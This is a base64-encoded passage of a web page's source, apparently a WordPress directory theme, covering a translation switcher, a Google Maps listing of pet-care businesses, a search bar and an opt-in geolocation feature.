eVRhZ05hbWUoJ3NlbGVjdCcpO2Zvcih2YXIgaT0wO2k8c2VsLmxlbmd0aDtpKyspaWYoL2dvb2ctdGUtY29tYm8vLnRlc3Qoc2VsW2ldLmNsYXNzTmFtZSkpe3RlQ29tYm89c2VsW2ldO2JyZWFrO31pZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MicpPT1udWxsfHxkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MicpLmlubmVySFRNTC5sZW5ndGg9PTB8fHRlQ29tYm8ubGVuZ3RoPT0wfHx0ZUNvbWJvLmlubmVySFRNTC5sZW5ndGg9PTApe3NldFRpbWVvdXQoZnVuY3Rpb24oKXtkb0dUcmFuc2xhdGUobGFuZ19wYWlyKX0sNTAwKX1lbHNle3RlQ29tYm8udmFsdWU9bGFuZztHVHJhbnNsYXRlRmlyZUV2ZW50KHRlQ29tYm8sJ2NoYW5nZScpO0dUcmFuc2xhdGVGaXJlRXZlbnQodGVDb21ibywnY2hhbmdlJyl9fQppZihHVHJhbnNsYXRlR2V0Q3VycmVudExhbmcoKSAhPSBudWxsKWpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7alF1ZXJ5KCdkaXYuc3dpdGNoZXIgZGl2LnNlbGVjdGVkIGEnKS5odG1sKGpRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5vcHRpb24nKS5maW5kKCdpbWdbYWx0PSInK0dUcmFuc2xhdGVHZXRDdXJyZW50TGFuZygpKyciXScpLnBhcmVudCgpLmh0bWwoKSk7fSk7Cjwvc2NyaXB0Pgo8L2Rpdj48L2xpPjwvdWw+PC9uYXY+CgkJPC9uYXY+CgoJPC9kaXY+CjwvaGVhZGVyPgoJCQk8ZGl2IGlkPSJkaXJlY3RvcnktbWFpbi1iYXIiIGRhdGEtY2F0ZWdvcnk9IjAiIGRhdGEtbG9jYXRpb249IjAiIGRhdGEtc2VhcmNoPSIiIGRhdGEtZ2VvbG9jYXRpb249ImZhbHNlIj4KCQkJPC9kaXY+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CnZhciBtYXBEaXYsCgltYXAsCglpbmZvYm94OwpqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsKCgltYXBEaXYgPSAkKCIjZGlyZWN0b3J5LW1haW4tYmFyIik7CgljbHVzdGVyRW5hYmxlZCA9IHRydWU7CgltYXBEaXYuaGVpZ2h0KDUwMCkuZ21hcDMoewoJCW1hcDogewoJCQlvcHRpb25zOiB7CgkJCQkiZHJhZ2dhYmxlIjogdHJ1ZQoJCQkJLCJtYXBUeXBlQ29udHJvbCI6IHRydWUKCQkJCSwibWFwVHlwZUlkIjogZ29vZ2xlLm1hcHMuTWFwVHlwZUlkLlJPQURNQVAKCQkJCSwic2Nyb2xsd2hlZWwiOiBmYWxzZQoJCQkJLCJwYW5Db250cm9sIjogdHJ1ZQoJCQkJLCJyb3RhdGVDb250cm9sIjogZmFsc2UKCQkJCSwic2NhbGVDb250cm9sIjogdHJ1ZQoJCQkJLCJzdHJlZXRWaWV3Q29udHJvbCI6IHRydWUKCQkJCSwiem9vbUNvbnRyb2wiOiB0cnVlCgkJCX0KCQkJLGV2ZW50czp7CgkJCQl6b29tX2NoYW5nZWQ6IGZ1bmN0aW9uKG1hcCl7CgkJCQkJY2x1c3RlcmVyID0gbWFwRGl2LmdtYXAzKHsgZ2V0OiB7IG5hbWU6ICJjbHVzdGVyZXIiIH19KTsKCQkJCQlpZiAobWFwLmdldFpvb20oKSA+PSAxOSkgewoJCQkJCQlpZiAoY2x1c3RlckVuYWJsZWQpIHsKCQkJCQkJCWNsdXN0ZXJlci5kaXNhYmxlKCk7CgkJCQkJCQljbHVzdGVyRW5hYmxlZCA9IGZhbHNlOwoJCQkJCQl9CgkJCQkJfSBlbHNlIHsKCQkJCQkJaWYgKCFjbHVzdGVyRW5hYmxlZCkgewoJCQkJCQkJY2x1c3RlcmVyLmVuYWJsZSgpOwoJCQkJCQkJY2x1c3RlckVuYWJsZWQgPSB0cnVlOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJCSxtYXJrZXI6IHsKCQkJdmFsdWVzOiBbCgkJCQkJewoJCQkJCQlsYXRMbmc6IFs0MS44OTA4NTkxLC04Ny42MzU4NDQwMDAwMDAwMl0sCgkJCQkJCW9wdGlvbnM6IHsKCQkJCQkJCWljb246ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC91cGxvYWRzLzIwMTYvMTIvbWFya2VyX3NxdWFyZWRfeWVsbG93LnBuZyIsCgkJCQkJCQlzaGFkb3c6ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vaWNvbi1zaGFkb3cucG5nIiwKCQkJCQkJfSwKCQkJCQkJZGF0YTogCSc8ZGl2IGNsYXNzPSJtYXJrZXItaG9sZGVyIj4nKwoJCQkJCQkJCQknPGRpdiBjbGFzcz0ibWFya2VyLWNvbnRlbnQgd2l0aC1pbWFnZSI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9kZWZhdWx0LXBvc3QtaW1hZ2UuanBnIiBhbHQ9IiI+JysKCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJtYXAtaXRlbS1pbmZvIj4nKwoJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJ0aXRsZSI+JysiUFVQUyBQZXQgQ2x1YiIrJzwvZGl2PicrCgkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InJhdGluZyI+JysKCQkJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJzdGFyIGFjdGl2ZSI+PC9kaXY+JysKCQkJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJzdGFyIGFjdGl2ZSI+PC9kaXY+JysKCQkJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJzdGFyIj48L2Rpdj4nKwoJCQkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InN0YXIiPjwvZGl2PicrCgkJCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0ic3RhciI+PC9kaXY+JysKCQkJCQkJCQkJCQknPC9kaXY+JysKCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0iYWRkcmVzcyI+JysiMzE2IFcgSWxsaW5vaXMgU3Q8YnIgXC8+XG5DaGljYWdvLCBJTCA2MDY1NCIrJzwvZGl2PicrCgkJCQkJCQkJCQkJJzxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/ZGlyLWl0ZW09cHVwcy1wZXQtY2x1YiIgY2xhc3M9Im1vcmUtYnV0dG9uIj4nICsgIlZJRVcgTU9SRSIgKyAnPC9hPicrCgkJCQkJCQkJCQkJJzwvZGl2PjxkaXYgY2xhc3M9ImFycm93Ij48L2Rpdj4nKwoJCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJCSc8L2Rpdj4nKwoJCQkJCQkJCSc8L2Rpdj4nCgkJCQkJfSwKCQkJCQl7CgkJCQkJCWxhdExuZzogWzM3Ljc5MTI4NTU5OTk5OTk5LC0xMjIuMzkzNzAwNzAwMDAwMDFdLAoJCQkJCQlvcHRpb25zOiB7CgkJCQkJCQlpY29uOiAiaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL2NvbXBhbnkucG5nIiwKCQkJCQkJCXNoYWRvdzogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9pY29uLXNoYWRvdy5wbmciLAoJCQkJCQl9LAoJCQkJCQlkYXRhOiAJJzxkaXYgY2xhc3M9Im1hcmtlci1ob2xkZXIiPicrCgkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJtYXJrZXItY29udGVudCB3aXRoLWltYWdlIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL2RlZmF1bHQtcG9zdC1pbWFnZS5qcGciIGFsdD0iIj4nKwoJCQkJCQkJCQkJJzxkaXYgY2xhc3M9Im1hcC1pdGVtLWluZm8iPicrCgkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InRpdGxlIj4nKyJkb2cgd2Fsa2VyIisnPC9kaXY+JysKCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0iYWRkcmVzcyI+JysiMTU1IG1haW4gc3RyZWV0ICBzYW4gZnJhbnNpY28iKyc8L2Rpdj4nKwoJCQkJCQkJCQkJCSc8YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2Rpci1pdGVtPWRvZy13YWxrZXItMiIgY2xhc3M9Im1vcmUtYnV0dG9uIj4nICsgIlZJRVcgTU9SRSIgKyAnPC9hPicrCgkJCQkJCQkJCQkJJzwvZGl2PjxkaXYgY2xhc3M9ImFycm93Ij48L2Rpdj4nKwoJCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJCSc8L2Rpdj4nKwoJCQkJCQkJCSc8L2Rpdj4nCgkJCQkJfSwKCQkJCQl7CgkJCQkJCWxhdExuZzogWzQyLjA5NDY1MiwtNzIuNzQ1MzkzOTk5OTk5OThdLAoJCQkJCQlvcHRpb25zOiB7CgkJCQkJCQlpY29uOiAiaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL2NvbXBhbnkucG5nIiwKCQkJCQkJCXNoYWRvdzogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9pY29uLXNoYWRvdy5wbmciLAoJCQkJCQl9LAoJCQkJCQlkYXRhOiAJJzxkaXYgY2xhc3M9Im1hcmtlci1ob2xkZXIiPicrCgkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJtYXJrZXItY29udGVudCB3aXRoLWltYWdlIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL2RlZmF1bHQtcG9zdC1pbWFnZS5qcGciIGFsdD0iIj4nKwoJCQkJCQkJCQkJJzxkaXYgY2xhc3M9Im1hcC1pdGVtLWluZm8iPicrCgkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InRpdGxlIj4nKyJEb2cgV2Fsa2VyIisnPC9kaXY+JysKCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0iYWRkcmVzcyI+JysiMTAzNyBzaGFrZXIgcm9hZDxiciBcLz5cbndlc3RmaWVsZCIrJzwvZGl2PicrCgkJCQkJCQkJCQkJJzxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/ZGlyLWl0ZW09ZG9nLXdhbGtlciIgY2xhc3M9Im1vcmUtYnV0dG9uIj4nICsgIlZJRVcgTU9SRSIgKyAnPC9hPicrCgkJCQkJCQkJCQkJJzwvZGl2PjxkaXYgY2xhc3M9ImFycm93Ij48L2Rpdj4nKwoJCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJCSc8L2Rpdj4nKwoJCQkJCQkJCSc8L2Rpdj4nCgkJCQkJfQoJCQldLAoJCQlvcHRpb25zOnsKCQkJCWRyYWdnYWJsZTogZmFsc2UKCQkJfSwKCQkJY2x1c3Rlcjp7CgkJCQlyYWRpdXM6IDIwLAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDAgbWFya2VycwoJCQkJMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMSc+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMjAgbWFya2VycwoJCQkJMjA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTInPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDUwIG1hcmtlcnMKCQkJCTUwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0zJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCWV2ZW50czogewoJCQkJCWNsaWNrOiBmdW5jdGlvbihjbHVzdGVyKSB7CgkJCQkJCW1hcC5wYW5UbyhjbHVzdGVyLm1haW4uZ2V0UG9zaXRpb24oKSk7CgkJCQkJCW1hcC5zZXRab29tKG1hcC5nZXRab29tKCkgKyAyKTsKCQkJCQl9CgkJCQl9CgkJCX0sCgkJCWV2ZW50czogewoJCQkJY2xpY2s6IGZ1bmN0aW9uKG1hcmtlciwgZXZlbnQsIGNvbnRleHQpewoJCQkJCXZhciBtYXAgPSBqUXVlcnkodGhpcykuZ21hcDMoImdldCIpOwoJCQkJCWpRdWVyeSgiI2RpcmVjdG9yeS1tYWluLWJhciIpLmZpbmQoJy5pbmZvQm94JykucmVtb3ZlKCk7CgkJCQkJaWYoY29udGV4dC5kYXRhICE9ICJkaXNhYmxlZCIpewoKCQkJCQkJdmFyIGluZm9Cb3hPcHRpb25zID0gewoJCQkJCQkJY29udGVudDogY29udGV4dC5kYXRhLAoJCQkJCQkJZGlzYWJsZUF1dG9QYW46IGZhbHNlLAoJCQkJCQkJbWF4V2lkdGg6IDE1MCwKCQkJCQkJCXBpeGVsT2Zmc2V0OiBuZXcgZ29vZ2xlLm1hcHMuU2l6ZSgtNTAsIC02NSksCgkJCQkJCQlib3hTdHlsZTogewoJCQkJCQkJCXdpZHRoOiAiMjkwcHgiCgkJCQkJCQl9LAoJCQkJCQkJY2xvc2VCb3hNYXJnaW46ICI0cHgiLAoJCQkJCQkJY2xvc2VCb3hVUkw6ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vcG9wX3VwLWNsb3NlLnBuZyIsCgkJCQkJCQkvLyBlbmFibGVFdmVudFByb3BhZ2F0aW9uOiB0cnVlLAoJCQkJCQkJaW5mb0JveENsZWFyYW5jZTogbmV3IGdvb2dsZS5tYXBzLlNpemUoMSwgMSksCgkJCQkJCQlwb3NpdGlvbjogbWFya2VyLnBvc2l0aW9uCgkJCQkJCX07CgkJCQkJCWluZm9ib3ggPSBuZXcgSW5mb0JveChpbmZvQm94T3B0aW9ucyk7CgoJCQkJCQlpbmZvYm94Lm9wZW4obWFwLG1hcmtlcik7CgkJCQkJfQoJCQkJCW1hcC5wYW5UbyhtYXJrZXIuZ2V0UG9zaXRpb24oKSk7CgoJCQkJCS8vIGlmIG1hcCBpcyBzbWFsbAoJCQkJCXZhciBpV2lkdGggPSAyNjA7CgkJCQkJdmFyIGlIZWlnaHQgPSAzMDA7CgkJCQkJaWYoKG1hcERpdi53aWR0aCgpIC8gMikgPCBpV2lkdGggKXsKCQkJCQkJdmFyIG9mZnNldFggPSBpV2lkdGggLSAobWFwRGl2LndpZHRoKCkgLyAyKTsKCQkJCQkJbWFwLnBhbkJ5KG9mZnNldFgsMCk7CgkJCQkJfQoJCQkJCWlmKChtYXBEaXYuaGVpZ2h0KCkgLyAyKSA8IGlIZWlnaHQgKXsKCQkJCQkJdmFyIG9mZnNldFkgPSAtKGlIZWlnaHQgLSAobWFwRGl2LmhlaWdodCgpIC8gMikpOwoJCQkJCQltYXAucGFuQnkoMCxvZmZzZXRZKTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9CgkJIAl9LCJhdXRvZml0Iik7CgoJbWFwID0gbWFwRGl2LmdtYXAzKCJnZXQiKTsKCWluZm9ib3ggPSBuZXcgSW5mb0JveCh7CgkJcGl4ZWxPZmZzZXQ6IG5ldyBnb29nbGUubWFwcy5TaXplKC01MCwgLTY1KSwKCQljbG9zZUJveFVSTDogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9wb3BfdXAtY2xvc2UucG5nIiwKCQlib3hTdHlsZTogewoJCQl3aWR0aDogIjI5MHB4IgoJCX0sCgkJY2xvc2VCb3hNYXJnaW46ICI0cHgiLAoJCWVuYWJsZUV2ZW50UHJvcGFnYXRpb246IGZhbHNlCgl9KTsKCglpZiAoTW9kZXJuaXpyLnRvdWNoKXsKCQltYXAuc2V0T3B0aW9ucyh7IGRyYWdnYWJsZSA6IGZhbHNlIH0pOwoJCXZhciBkcmFnZ2FibGVDbGFzcyA9ICdpbmFjdGl2ZSc7CgkJdmFyIGRyYWdnYWJsZVRpdGxlID0gIkFjdGl2YXRlIG1hcCI7CgkJdmFyIGRyYWdnYWJsZUJ1dHRvbiA9ICQoJzxkaXYgY2xhc3M9ImRyYWdnYWJsZS10b2dnbGUtYnV0dG9uICcrZHJhZ2dhYmxlQ2xhc3MrJyI+JytkcmFnZ2FibGVUaXRsZSsnPC9kaXY+JykuYXBwZW5kVG8obWFwRGl2KTsKCQlkcmFnZ2FibGVCdXR0b24uY2xpY2soZnVuY3Rpb24gKCkgewoJCQlpZigkKHRoaXMpLmhhc0NsYXNzKCdhY3RpdmUnKSl7CgkJCQkkKHRoaXMpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKS5hZGRDbGFzcygnaW5hY3RpdmUnKS50ZXh0KCJBY3RpdmF0ZSBtYXAiKTsKCQkJCW1hcC5zZXRPcHRpb25zKHsgZHJhZ2dhYmxlIDogZmFsc2UgfSk7CgkJCX0gZWxzZSB7CgkJCQkkKHRoaXMpLnJlbW92ZUNsYXNzKCdpbmFjdGl2ZScpLmFkZENsYXNzKCdhY3RpdmUnKS50ZXh0KCJEZWFjdGl2YXRlIG1hcCIpOwoJCQkJbWFwLnNldE9wdGlvbnMoeyBkcmFnZ2FibGUgOiB0cnVlIH0pOwoJCQl9CgkJfSk7Cgl9CgovLyBsb2FkaW5nIHNwaW5uZXIKdmFyIG9wdHMgPSB7CglsaW5lczogMTMsIC8vIFRoZSBudW1iZXIgb2YgbGluZXMgdG8gZHJhdwoJbGVuZ3RoOiA5LCAvLyBUaGUgbGVuZ3RoIG9mIGVhY2ggbGluZQoJd2lkdGg6IDksIC8vIFRoZSBsaW5lIHRoaWNrbmVzcwoJcmFkaXVzOiAyNywgLy8gVGhlIHJhZGl1cyBvZiB0aGUgaW5uZXIgY2lyY2xlCgljb3JuZXJzOiAxLCAvLyBDb3JuZXIgcm91bmRuZXNzICgwLi4xKQoJcm90YXRlOiAwLCAvLyBUaGUgcm90YXRpb24gb2Zmc2V0Cgljb2xvcjogJyNGRkYnLCAvLyAjcmdiIG9yICNycmdnYmIKCXNwZWVkOiAxLjgsIC8vIFJvdW5kcyBwZXIgc2Vjb25kCgl0cmFpbDogODEsIC8vIEFmdGVyZ2xvdyBwZXJjZW50YWdlCglzaGFkb3c6IHRydWUsIC8vIFdoZXRoZXIgdG8gcmVuZGVyIGEgc2hhZG93Cglod2FjY2VsOiBmYWxzZSwgLy8gV2hldGhlciB0byB1c2UgaGFyZHdhcmUgYWNjZWxlcmF0aW9uCgljbGFzc05hbWU6ICdzcGlubmVyJywgLy8gVGhlIENTUyBjbGFzcyB0byBhc3NpZ24gdG8gdGhlIHNwaW5uZXIKCXpJbmRleDogMmU5LCAvLyBUaGUgei1pbmRleCAoZGVmYXVsdHMgdG8gMjAwMDAwMDAwMCkKCXRvcDogJ2F1dG8nLCAvLyBUb3AgcG9zaXRpb24gcmVsYXRpdmUgdG8gcGFyZW50IGluIHB4CglsZWZ0OiAnYXV0bycgLy8gTGVmdCBwb3NpdGlvbiByZWxhdGl2ZSB0byBwYXJlbnQgaW4gcHgKfTsKCnZhciB0YXJnZXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGlyZWN0b3J5LW1haW4tYmFyJyksCglzcGlubmVyID0gbmV3IFNwaW5uZXIob3B0cykuc3Bpbih0YXJnZXQpLAoJc3Bpbm5lckRpdiA9IG1hcERpdi5maW5kKCcuc3Bpbm5lcicpOwoKdmFyIHNlYXJjaCA9ICQoJyNkaXJlY3Rvcnktc2VhcmNoJyksCglzZWFyY2hJbnB1dCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLAoJc2VhcmNoU3VibWl0ID0gJCgnI2Rpci1zZWFyY2hzdWJtaXQnKSwKCWNhdGVnb3J5SW5wdXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5JyksCglsb2NhdGlvbklucHV0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbicpLAoJZ2VvSW5wdXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlbycpLAoJZ2VvSW5wdXRSYWRpdXMgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlby1yYWRpdXMnKSwKCWdlb0lucHV0TGF0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8tbGF0JyksCglnZW9JbnB1dExuZyA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvLWxuZycpOwoKZnVuY3Rpb24gc2hvd0xvYWRpbmcoZGlzYWJsZVN1Ym1pdCkgewoJdmFyIHRvcFBvc2l0aW9uID0gbWFwRGl2LmhlaWdodCgpIC8gMjsKCXNwaW5uZXJEaXYuY3NzKCd0b3AnLHRvcFBvc2l0aW9uKydweCcpLmZhZGVJbigpOwoJaWYgKGRpc2FibGVTdWJtaXQpIHsKCQlzZWFyY2hTdWJtaXQuYXR0cignZGlzYWJsZWQnLCB0cnVlKTsKCX0KfQoKZnVuY3Rpb24gaGlkZUxvYWRpbmcoKSB7CglzcGlubmVyRGl2LmZhZGVPdXQoKTsKCXNlYXJjaFN1Ym1pdC5hdHRyKCdkaXNhYmxlZCcsIGZhbHNlKTsKfQoKLy8gc2V0IGludGVyYWN0aXZlIHNlYXJjaAppZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyl7CglzZWFyY2hJbnB1dC50eXBlV2F0Y2goewoJCWNhbGxiYWNrOiBmdW5jdGlvbigpIHsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfSwKCQl3YWl0OiA1MDAsCgkJaGlnaGxpZ2h0OiBmYWxzZSwKCQljYXB0dXJlTGVuZ3RoOiAwCgl9KTsKCgljYXRlZ29yeUlucHV0Lm9uKCJhdXRvY29tcGxldGVzZWxlY3QiLCBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UsdWkuaXRlbS52YWx1ZSxmYWxzZSk7Cgl9KTsKCWxvY2F0aW9uSW5wdXQub24oImF1dG9jb21wbGV0ZXNlbGVjdCIsIGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSxmYWxzZSx1aS5pdGVtLnZhbHVlKTsKCX0pOwoJY2F0ZWdvcnlJbnB1dC5vbigiYXV0b2NvbXBsZXRlY2xvc2UiLCBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCWlmKCQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQnKS52YWwoKSA9PSAnMCcpewoJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCQl9Cgl9KTsKCWxvY2F0aW9uSW5wdXQub24oImF1dG9jb21wbGV0ZWNsb3NlIiwgZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQlpZigkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkJykudmFsKCkgPT0gJzAnKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoJfSk7Cn0KCiQoJyNkaXItc2VhcmNoaW5wdXQtc2V0dGluZ3MgLmljb24nKS5jbGljayhmdW5jdGlvbigpIHsKCSQoJyNkaXItc2VhcmNoLWFkdmFuY2VkJykudG9nZ2xlKCk7Cn0pOwoKJCgnI2Rpci1zZWFyY2gtYWR2YW5jZWQtY2xvc2UnKS5jbGljayhmdW5jdGlvbigpIHsKCSQoJyNkaXItc2VhcmNoLWFkdmFuY2VkJykuaGlkZSgpOwp9KTsKCiQoJyNkaXItc2VhcmNoLWFkdmFuY2VkIC52YWx1ZS1zbGlkZXInKS5zbGlkZXIoewoJdmFsdWU6IGdlb0lucHV0UmFkaXVzLnZhbCgpLAoJbWluOiAxLAoJbWF4OiAzMDAsCglzdGVwOiAxLAoJY2hhbmdlOiBmdW5jdGlvbihldmVudCwgdWkpIHsKCQlpZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyAmJiBnZW9JbnB1dC5pcygnOmNoZWNrZWQnKSl7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0KCX0sCglzbGlkZTogZnVuY3Rpb24oZXZlbnQsIHVpKSB7CgkJZ2VvSW5wdXRSYWRpdXMudmFsKHVpLnZhbHVlKTsKCX0KfSk7CgovLyBHZW9sb2NhdGlvbgoKZ2VvSW5wdXQuRmFuY3lDaGVja2JveCgpOwoKZnVuY3Rpb24gZW5hYmxlR2VvKCkgewoJZ2VvSW5wdXQuYXR0cignY2hlY2tlZCcsIHRydWUpOwoJZ2VvSW5wdXQubmV4dCgpLnJlbW92ZUNsYXNzKCdvZmYnKS5hZGRDbGFzcygnb24nKTsKfQoKZnVuY3Rpb24gZGlzYWJsZUdlbygpIHsKCWdlb0lucHV0LmF0dHIoJ2NoZWNrZWQnLCBmYWxzZSk7CglnZW9JbnB1dC5uZXh0KCkucmVtb3ZlQ2xhc3MoJ29uJykuYWRkQ2xhc3MoJ29mZicpOwp9CgoJaWYoZ2VvSW5wdXQuaXMoIjpjaGVja2VkIikpIHsKCgkJLy8gZW5hYmxlIGFmdGVyIHVzZXIgYWxsb3cgZ2VvbG9jYXRpb24KCQlkaXNhYmxlR2VvKCk7CgkJc2hvd0xvYWRpbmcodHJ1ZSk7CgoJCWlmIChuYXZpZ2F0b3IuZ2VvbG9jYXRpb24pIHsKCQkJbmF2aWdhdG9yLmdlb2xvY2F0aW9uLmdldEN1cnJlbnRQb3NpdGlvbihmdW5jdGlvbihwb3NpdGlvbikgewoKCQkJCWdlb0lucHV0TGF0LnZhbChwb3NpdGlvbi5jb29yZHMubGF0aXR1ZGUpOwoJCQkJZ2VvSW5wdXRMbmcudmFsKHBvc2l0aW9uLmNvb3Jkcy5sb25naXR1ZGUpOwoKCQkJCWVuYWJsZUdlbygpOwoKCQkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoKCQkJfSwgZnVuY3Rpb24oZXJyb3IpewoJCQkJZGlzYWJsZUdlbygpOwoJCQkJaGlkZUxvYWRpbmcoKTsKCQkJfSk7CgkJfSBlbHNlIHsKCQkJZGlzYWJsZUdlbygpOwoJCQloaWRlTG9hZGluZygpOwoJCX0KCgl9CgpnZW9JbnB1dC5vbigiY2hhbmdlIixmdW5jdGlvbihldmVudCkgewoKCWlmKGdlb0lucHV0LmlzKCI6Y2hlY2tlZCIpKSB7CgoJCS8vIGVuYWJsZSBhZnRlciB1c2VyIGFsbG93IGdlb2xvY2F0aW9uCgkJZGlzYWJsZUdlbygpOwoJCXNob3dMb2FkaW5nKHRydWUpOwoKCQlpZiAobmF2aWdhdG9yLmdlb2xvY2F0aW9uKSB7CgkJCW5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZXRDdXJyZW50UG9zaXRpb24oZnVuY3Rpb24ocG9zaXRpb24pIHsKCgkJCQlnZW9JbnB1dExhdC52YWwocG9zaXRpb24uY29vcmRzLmxhdGl0dWRlKTsKCQkJCWdlb0lucHV0TG5nLnZhbChwb3NpdGlvbi5jb29yZHMubG9uZ2l0dWRlKTsKCgkJCQllbmFibGVHZW8oKTsKCgkJCQlpZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyl7CgkJCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJCQl9IGVsc2UgewoJCQkJCWhpZGVMb2FkaW5nKCk7C